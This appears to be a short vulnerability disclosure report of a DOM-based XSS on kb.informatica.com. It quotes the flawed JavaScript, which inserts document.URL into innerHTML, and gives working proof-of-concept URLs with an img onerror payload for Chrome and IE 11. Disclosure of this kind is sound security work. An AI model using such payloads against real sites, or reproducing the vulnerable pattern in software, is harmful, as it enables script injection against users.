[kb.informatica.com] Dom Based xss

How it was found

Hi! I found Dom based xss on this subdomain https://kb.informatica.com javaScript security is very important, even more in portals where users store their personal data. Attackers can target those portals to find and exploit High-risk JavaScript vulnerabilities like Dom based xss vulnerabilities

POC ,the vulnerable code javascript on this page https://kb.informatica.com/KBExternal/pages/infasearchltd.aspx? view-source: string 1406 /*google chrome

var li = document.createElement("li"); strChild = "<a href="+document.URL+" style='color:#fff !important;font-size:10px'>Search Results</a>"; li.innerHTML = strChild; document.getElementById('DynamicBreadcrumb').appendChild(li); }

attack scenario the latest versions of browsers google chrome https://kb.informatica.com/KBExternal/pages/infasearchltd.aspx?#"><img src=x onerror=alert(document.domain)>&infasearch.aspx=hek IE 11 https://kb.informatica.com/KBExternal/pages/infasearchltd.aspx?#"><img src=x onerror=alert(document.domain)>&infasearch.aspx=hek